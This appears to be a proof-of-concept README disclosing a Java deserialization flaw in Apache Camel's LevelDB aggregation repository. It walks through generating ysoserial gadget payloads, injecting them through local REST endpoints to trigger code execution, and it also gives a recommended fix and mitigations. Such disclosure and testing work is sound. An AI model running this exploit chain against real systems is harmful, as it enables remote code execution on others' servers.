Share
## https://sploitus.com/exploit?id=7F71735C-F7A7-5B0E-B9A9-03C3E0A2AD1E
# LevelDB Deserialization Vulnerability Reproducer
This project demonstrates a **Java deserialization vulnerability** in Apache Camel's LevelDB Aggregation Repository, similar to **CVE-2024-23114** (which affected the Cassandra Aggregation Repository).
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-leveldb` |
| **Affected Class** | `DefaultLevelDBSerializer.java` |
| **Vulnerable Methods** | `deserializeKey()`, `deserializeExchange()` |
| **CWE** | CWE-502: Deserialization of Untrusted Data |
| **Impact** | Remote Code Execution (RCE) |
| **Affected Versions** | All versions including 4.17.0 (unfixed as of testing) |
## Technical Details
The `DefaultLevelDBSerializer` class uses raw `ObjectInputStream` without any filtering:
```java
// DefaultLevelDBSerializer.java lines 42-47
public String deserializeKey(byte[] buffer) throws IOException {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (String) ois.readObject(); // NO FILTERING!
}
}
// Lines 63-71
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
return deserializeExchange(camelContext, buffer, b -> {
try (final ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(buffer))) {
return (DefaultExchangeHolder) ois.readObject(); // NO FILTERING!
}
});
}
```
Compare this to the **fixed** Cassandra implementation (since Camel 4.4.0):
```java
// CassandraCamelCodec.java - PROTECTED
private Object deserialize(CamelContext camelContext, InputStream bytes, String deserializationFilter) {
ObjectInputStream objectIn = new ClassLoadingAwareObjectInputStream(classLoader, bytes);
objectIn.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
// Filter: "java.**;org.apache.camel.**;!*" - blocks gadget classes
return objectIn.readObject();
}
```
## Prerequisites
- Java 17+
- Maven 3.8+
- ysoserial (for payload generation)
## Reproduction Steps
### Step 1: Build and Start the Application
```bash
cd potential-leveldb
mvn clean package -DskipTests
mvn spring-boot:run
```
### Step 2: Initialize the LevelDB Database
```bash
# First, initialize the LevelDB database (creates directory and adds a test entry)
curl http://localhost:8080/exploit/init
```
Expected output:
```
LevelDB initialized successfully!
Database path: /tmp/leveldb-exploit/aggregation.db
Repository name: myrepo
Added test exchange with key: test-key
Now you can inject a malicious payload with POST /exploit/inject
```
### Step 3: Generate Malicious Payload
Download ysoserial and generate a payload:
```bash
# Download ysoserial
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Generate payload that executes a command (e.g., open calculator, touch file, etc.)
# For Linux:
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | xxd -p | tr -d '\n' > payload.txt
# For macOS:
java -jar ysoserial-all.jar CommonsCollections7 "open -a Calculator" | xxd -p | tr -d '\n' > payload.txt
# For Windows:
java -jar ysoserial-all.jar CommonsCollections7 "calc.exe" | xxd -p | tr -d '\n' > payload.txt
```
### Step 4: Inject Payload into LevelDB
```bash
# Inject the malicious serialized object into LevelDB
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
-d @payload.txt
```
Expected output:
```
Malicious payload injected into LevelDB!
Payload size: XXXX bytes
Key: myrepo^@malicious-key
The payload will be deserialized when:
1. The application restarts and recovers aggregations
2. A get() operation is performed on this key
3. The scan/recover mechanism runs
```
### Step 5: Trigger Deserialization (RCE!)
```bash
# Trigger the vulnerability by reading from LevelDB
curl http://localhost:8080/exploit/trigger
```
This will iterate through all keys and call `repo.get()` which triggers deserialization!
### Step 6: Verify Exploitation
```bash
# Check if the command was executed
ls -la /tmp/pwned
```
If the file `/tmp/pwned` exists, the exploit was successful!
## Attack Vectors
The vulnerability can be triggered through multiple paths:
1. **Application Restart**: When Camel starts, it recovers incomplete aggregations from LevelDB
2. **Recovery Mechanism**: The periodic recovery scan deserializes stored exchanges
3. **Direct Access**: Any `get()` call on the repository triggers deserialization
## Exploit Conditions
For successful exploitation:
1. **Write Access to LevelDB**: Attacker must be able to write to the LevelDB database file
- Shared filesystem
- Compromised storage
- Another vulnerability allowing file write
2. **Gadget Library on Classpath**: A library with exploitable gadget chains must be present
- `commons-collections:3.2.1` (CommonsCollections1-7 gadgets)
- `org.springframework:spring-core` (Spring gadgets)
- Many others (see ysoserial)
## Comparison with CVE-2024-23114
| Aspect | Cassandra (CVE-2024-23114) | LevelDB (This Issue) |
|--------|---------------------------|----------------------|
| **Status** | Fixed in 4.4.0 | **UNFIXED in 4.17.0** |
| **ObjectInputStream** | Uses `ClassLoadingAwareObjectInputStream` | Uses raw `ObjectInputStream` |
| **Deserialization Filter** | `"java.**;org.apache.camel.**;!*"` | **None** |
| **JIRA** | CAMEL-20306 | Not yet filed |
## Recommended Fix
Apply the same fix as Cassandra:
1. Use `ClassLoadingAwareObjectInputStream` instead of raw `ObjectInputStream`
2. Add configurable `ObjectInputFilter` with safe defaults
3. Default filter: `"java.**;org.apache.camel.**;!*"`
Example fix for `DefaultLevelDBSerializer.java`:
```java
private String deserializationFilter = "java.**;org.apache.camel.**;!*";
public Exchange deserializeExchange(CamelContext camelContext, byte[] buffer) throws IOException {
ClassLoader classLoader = camelContext.getApplicationContextClassLoader();
try (ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(classLoader,
new ByteArrayInputStream(buffer))) {
ois.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
DefaultExchangeHolder holder = (DefaultExchangeHolder) ois.readObject();
// ... rest of deserialization
}
}
```
## Mitigation
Until a fix is released:
1. **Restrict file access**: Ensure LevelDB files are only writable by the Camel application
2. **Remove gadget libraries**: If possible, remove or upgrade vulnerable libraries like commons-collections 3.x
3. **Use alternative serializer**: Configure `JacksonLevelDBSerializer` instead of `DefaultLevelDBSerializer`
4. **Network segmentation**: Isolate systems using LevelDB aggregation
## Files
```
potential-leveldb/
โโโ pom.xml # Maven configuration with vulnerable deps
โโโ README.md # This file
โโโ src/main/java/com/example/
โโโ Application.java # Spring Boot entry point
โโโ LevelDBRoute.java # Camel route using LevelDB aggregation
โโโ StringAggregationStrategy.java
โโโ ExploitController.java # REST endpoints for exploitation
```
## Disclaimer
This reproducer is provided for **security research and authorized testing only**. Do not use against systems without explicit permission.